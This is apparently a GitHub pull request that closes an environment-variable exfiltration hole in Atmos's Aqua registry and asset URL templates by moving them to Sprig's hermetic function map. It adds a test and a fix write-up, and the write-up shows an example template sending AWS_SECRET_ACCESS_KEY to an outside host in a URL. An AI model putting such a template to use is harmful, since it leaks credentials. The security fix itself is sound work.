Skip to content
Draft
95 changes: 95 additions & 0 deletions docs/fixes/2026-04-01-sprig-env-exfiltration.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,95 @@
# Sprig `env`/`expandenv` Exfiltration via Untrusted Templates

**Date:** 2026-04-01
**Severity:** Medium — CWE-526 (Cleartext Storage of Sensitive Information in Environment Variables)
**Scope:** Asset URL templates (Aqua registry, installer) — NOT stack templates (intentional feature)

**Files fixed:**
- `pkg/toolchain/installer/asset.go` (asset URL template rendering — was `TxtFuncMap` with no env cleanup)
- `pkg/toolchain/registry/aqua/aqua.go` (Aqua registry asset templates — was `TxtFuncMap` + manual `delete()`)

**Files updated (security improvement, backward-compatible):**
- `internal/exec/template_utils.go` — Sprig base switched to `HermeticTxtFuncMap`; `env`/`expandenv` re-added explicitly
- `pkg/locals/resolver.go` — Sprig base switched to `HermeticTxtFuncMap`; `env`/`expandenv` re-added explicitly

---

## Symptom

An Aqua registry YAML file or asset URL template containing:

```yaml
source: 'https://example.com/download?token={{ env "AWS_SECRET_ACCESS_KEY" }}'
```

would have been rendered successfully, allowing a remote/community registry template to read
arbitrary process environment variables (credentials, tokens) at install time.

---

## Root Cause

Multiple template rendering paths used `sprig.TxtFuncMap()` (or `sprig.FuncMap()`), which
includes `env`, `expandenv`, and `getHostByName`.

Sprig ships a hermetic variant specifically for untrusted-template contexts:

| Function | Exposes `env`/`expandenv` |
|----------|--------------------------|
| `sprig.FuncMap()` | **Yes** |
| `sprig.TxtFuncMap()` | **Yes** |
| `sprig.HermeticTxtFuncMap()` | **No** — intentionally omitted |

### Aqua registry templates (untrusted — now fixed)

`pkg/toolchain/installer/asset.go` and `pkg/toolchain/registry/aqua/aqua.go` render asset
URL templates from remote Aqua registries. These templates are partially untrusted and should
not be able to read arbitrary env vars. The `aqua.go` code attempted to mitigate this via
manual `delete(funcs, "env")` but this pattern is fragile. Both files now use
`sprig.HermeticTxtFuncMap()` directly.

### Stack templates (trusted — env is an intentional feature)

`internal/exec/template_utils.go` and `pkg/locals/resolver.go` render Atmos stack manifests.
`{{ env "KEY" }}` is a **documented, intentional feature** of Atmos stack templates, used e.g.
to inject git tokens in `vendor.yaml` source URLs or to embed the current user in stack vars.

Comment on lines +54 to +56
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Avoid recommending tokens in URLs.

This wording normalizes embedding git tokens in URL strings, which can leak via logs, shell history, proxies, and telemetry. Please rephrase to recommend non-URL credential channels (headers/credential helpers) and keep env examples generic.

✏️ Suggested doc wording
-`{{ env "KEY" }}` is a **documented, intentional feature** of Atmos stack templates, used e.g.
-to inject git tokens in `vendor.yaml` source URLs or to embed the current user in stack vars.
+`{{ env "KEY" }}` is a **documented, intentional feature** of Atmos stack templates, used e.g.
+to inject non-sensitive runtime settings or integrate with external credential mechanisms.
+Avoid placing secrets directly in URL strings.
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
`{{ env "KEY" }}` is a **documented, intentional feature** of Atmos stack templates, used e.g.
to inject git tokens in `vendor.yaml` source URLs or to embed the current user in stack vars.
`{{ env "KEY" }}` is a **documented, intentional feature** of Atmos stack templates, used e.g.
to inject non-sensitive runtime settings or integrate with external credential mechanisms.
Avoid placing secrets directly in URL strings.
🧰 Tools
🪛 LanguageTool

[style] ~54-~54: A comma is missing here.
Context: ...eature** of Atmos stack templates, used e.g. to inject git tokens in vendor.yaml s...

(EG_NO_COMMA)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/fixes/2026-04-01-sprig-env-exfiltration.md` around lines 54 - 56, Reword
the passage that presents `{{ env "KEY" }}` as an example so it no longer
normalizes embedding tokens in URL strings; keep the `{{ env "KEY" }}` example
generic (e.g., "API_KEY" or "USER") and explicitly warn against putting secrets
in URLs (like git tokens in vendor.yaml source URLs). Instead recommend using
non-URL credential channels such as HTTP Authorization headers, credential
helpers, or CI secret stores for injecting tokens, and update the example usages
(vendor.yaml and stack vars) to demonstrate these safer alternatives.

The Sprig base is now `HermeticTxtFuncMap()` (removing other OS/network side-effects like
`getHostByName`) but `env` and `expandenv` are **explicitly re-added** as a deliberate design
decision, not inherited from the full Sprig map.

---

## Fix

### Aqua registry / installer templates (untrusted — full env removal)

```go
// pkg/toolchain/installer/asset.go — after
funcs := sprig.HermeticTxtFuncMap() // env/expandenv omitted

// pkg/toolchain/registry/aqua/aqua.go — after (manual deletes replaced)
funcs := sprig.HermeticTxtFuncMap() // env/expandenv/getHostByName omitted
```

### Stack templates (trusted — explicit re-provision)

```go
// internal/exec/template_utils.go — getSprigFuncMap uses HermeticTxtFuncMap
// getEnvFuncMap explicitly provides env/expandenv for stack templates
func getEnvFuncMap() template.FuncMap {
return template.FuncMap{
"env": os.Getenv,
"expandenv": os.ExpandEnv,
}
}
// Assembled: gomplate + hermetic sprig + explicit env + atmos funcmap
funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), getEnvFuncMap(), FuncMap(...))
```

---

## Related

- Sprig docs: <https://masterminds.github.io/sprig/> — "Hermetic" section
- CWE-526: <https://cwe.mitre.org/data/definitions/526.html>
2 changes: 1 addition & 1 deletion docs/prd/exit-codes.md
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ Atmos follows POSIX.1-2017 and Linux Standard Base (LSB) conventions:

- [POSIX Exit Status](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_08_02)
- [Linux Standard Base - Exit Codes](https://refspecs.linuxfoundation.org/LSB_5.0.0/LSB-Core-generic/LSB-Core-generic/iniscrptact.html)
- [sysexits.h](https://man.openbsd.org/sysexits) - BSD exit codes
- [sysexits.h](https://www.freebsd.org/cgi/man.cgi?query=sysexits&sektion=3) - BSD exit codes
- [Bash Exit Codes](https://www.gnu.org/software/bash/manual/html_node/Exit-Status.html)

## Atmos Exit Code Mapping
Expand Down
35 changes: 32 additions & 3 deletions internal/exec/template_utils.go
Original file line number Diff line number Diff line change
Expand Up @@ -38,17 +38,43 @@ const (
logKeyTemplate = "template"
)

// getSprigFuncMap returns a cached copy of the sprig function map.
// getSprigFuncMap returns a cached copy of the sprig hermetic function map.
// Sprig function maps are expensive to create (173MB+ allocations) and immutable,
// so we cache and reuse them across template operations.
// This optimization reduces heap allocations by ~3.76% (173MB) per profile run.
//
// We use HermeticTxtFuncMap instead of FuncMap to exclude non-pure side-effectful
// functions like env/expandenv/getHostByName from the Sprig base. The env and
// expandenv functions are instead provided explicitly via getEnvFuncMap, which
// is a deliberate design decision: stack templates legitimately need env var access
// (e.g. {{ env "GITHUB_TOKEN" }} in vendor.yaml, {{ env "USER" }} in stack manifests).
// For untrusted-template contexts (Aqua registry, asset URL templates) use only
// HermeticTxtFuncMap without getEnvFuncMap.
func getSprigFuncMap() template.FuncMap {
sprigFuncMapCacheOnce.Do(func() {
sprigFuncMapCache = sprig.FuncMap()
sprigFuncMapCache = sprig.HermeticTxtFuncMap()
})
return sprigFuncMapCache
}

// getEnvFuncMap returns a FuncMap with env and expandenv functions.
// These are provided separately from getSprigFuncMap so that:
// 1. The Sprig base (HermeticTxtFuncMap) stays free of other OS/network side-effects.
// 2. Stack templates that legitimately need {{ env "KEY" }} and {{ expandenv "$KEY" }}
// get those functions via an explicit deliberate provision rather than inheriting
// them from the full Sprig FuncMap.
// 3. Untrusted-template contexts (asset URL templates, Aqua registry) can safely
// use only HermeticTxtFuncMap without these functions.
//
// The env and expandenv functions shadow Gomplate's "env" namespace object, which
// takes 0 arguments and is not compatible with {{ env "KEY" }} syntax used in Atmos.
func getEnvFuncMap() template.FuncMap {
return template.FuncMap{
"env": os.Getenv,
"expandenv": os.ExpandEnv,
}
}

// ProcessTmpl parses and executes Go templates.
func ProcessTmpl(
atmosConfig *schema.AtmosConfiguration,
Expand All @@ -67,7 +93,7 @@ func ProcessTmpl(
if cfg == nil {
cfg = &schema.AtmosConfiguration{}
}
funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), FuncMap(cfg, &schema.ConfigAndStacksInfo{}, ctx, &d))
funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), getEnvFuncMap(), FuncMap(cfg, &schema.ConfigAndStacksInfo{}, ctx, &d))

t, err := template.New(tmplName).Funcs(funcs).Parse(tmplValue)
if err != nil {
Expand Down Expand Up @@ -311,6 +337,9 @@ func ProcessTmplWithDatasources(
// Sprig functions
if atmosConfig.Templates.Settings.Sprig.Enabled {
funcs = lo.Assign(funcs, getSprigFuncMap())
// Explicitly add env/expandenv since HermeticTxtFuncMap excludes them
// but they are a documented, intentional feature of Atmos stack templates.
funcs = lo.Assign(funcs, getEnvFuncMap())
}

// Atmos functions
Expand Down
2 changes: 1 addition & 1 deletion internal/exec/template_utils_env_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -199,7 +199,7 @@ func TestProcessTmplWithDatasources_EnvVarsFromConfig(t *testing.T) {
configAndStacksInfo := &schema.ConfigAndStacksInfo{}
settingsSection := schema.Settings{}

// Template that reads the env var using Sprig's env function.
// Template that reads the env var using the env function (provided via getEnvFuncMap).
tmplValue := `
config:
profile: '{{ env "TEST_GOMPLATE_AWS_PROFILE" }}'
Expand Down
15 changes: 14 additions & 1 deletion pkg/locals/resolver.go
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ package locals
import (
"bytes"
"fmt"
"os"
"sort"
"strings"
"text/template"
Expand Down Expand Up @@ -453,7 +454,19 @@ func (r *Resolver) resolveString(strVal, localName string) (any, error) {
context["locals"] = r.resolved

// Parse and execute the template.
tmpl, err := template.New(localName).Funcs(sprig.FuncMap()).Parse(strVal)
// HermeticTxtFuncMap is used as the Sprig base to exclude non-pure side-effectful
// functions (e.g. getHostByName). env and expandenv are added back explicitly
// because they are a documented, intentional feature for locals templates
// (e.g. {{ env "HOME" | default "/tmp" }}).
envFuncMap := template.FuncMap{
"env": os.Getenv,
"expandenv": os.ExpandEnv,
}
funcMap := sprig.HermeticTxtFuncMap()
for k, v := range envFuncMap {
funcMap[k] = v
}
tmpl, err := template.New(localName).Funcs(funcMap).Parse(strVal)
if err != nil {
return nil, fmt.Errorf("failed to parse template for local %q in %s: %w", localName, r.filePath, err)
}
Expand Down
6 changes: 4 additions & 2 deletions pkg/toolchain/installer/asset.go
Original file line number Diff line number Diff line change
Expand Up @@ -189,9 +189,11 @@ func buildTemplateData(tool *registry.Tool, version string) *assetTemplateData {
}

// assetTemplateFuncs returns the template functions for asset URL templates.
// Uses Sprig v3 text functions as the base (matching Aqua upstream), with Aqua-specific overrides.
// Uses Sprig v3 hermetic text functions as the base (matching Aqua upstream), with Aqua-specific overrides.
// HermeticTxtFuncMap is used instead of TxtFuncMap to exclude env/expandenv, preventing
// asset URL templates from reading arbitrary process environment variables (CWE-526).
func assetTemplateFuncs() template.FuncMap {
funcs := sprig.TxtFuncMap()
funcs := sprig.HermeticTxtFuncMap()

// Override with Aqua-specific functions that have different argument order
// or behavior than Sprig equivalents.
Expand Down
12 changes: 12 additions & 0 deletions pkg/toolchain/installer/asset_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -963,3 +963,15 @@ func TestBuildTemplateData_WindowsArmEmulation(t *testing.T) {
assert.Equal(t, runtime.GOARCH, data.Arch, "WindowsArmEmulation should not affect Arch on non-windows-arm64")
}
}

// TestAssetTemplateFuncs_EnvBlocked verifies that env and expandenv are not available
// in asset URL templates, preventing exfiltration of process environment variables (CWE-526).
func TestAssetTemplateFuncs_EnvBlocked(t *testing.T) {
funcs := assetTemplateFuncs()

_, hasEnv := funcs["env"]
assert.False(t, hasEnv, "env function must not be available in asset templates (CWE-526)")

_, hasExpandEnv := funcs["expandenv"]
assert.False(t, hasExpandEnv, "expandenv function must not be available in asset templates (CWE-526)")
}
12 changes: 4 additions & 8 deletions pkg/toolchain/registry/aqua/aqua.go
Original file line number Diff line number Diff line change
Expand Up @@ -697,15 +697,11 @@ func buildAssetTemplateData(tool *registry.Tool, releaseVersion, semVer string)
}

// assetTemplateFuncs returns the template function map for asset URL templates.
// Uses Sprig v3 text functions as the base (matching Aqua upstream), with Aqua-specific overrides.
// Uses Sprig v3 hermetic text functions as the base (matching Aqua upstream), with Aqua-specific overrides.
// HermeticTxtFuncMap excludes env, expandenv, and getHostByName, preventing remote registry
// templates from reading process environment variables or performing DNS lookups (CWE-526).
func assetTemplateFuncs() template.FuncMap {
funcs := sprig.TxtFuncMap()

// Security: remove OS/network helpers that could leak secrets from remote registry templates.
// Matches Helm and Argo CD which also remove these from Sprig.
delete(funcs, "env")
delete(funcs, "expandenv")
delete(funcs, "getHostByName")
funcs := sprig.HermeticTxtFuncMap()

// Override with Aqua-specific functions that have different argument order
// or behavior than Sprig equivalents.
Expand Down
Loading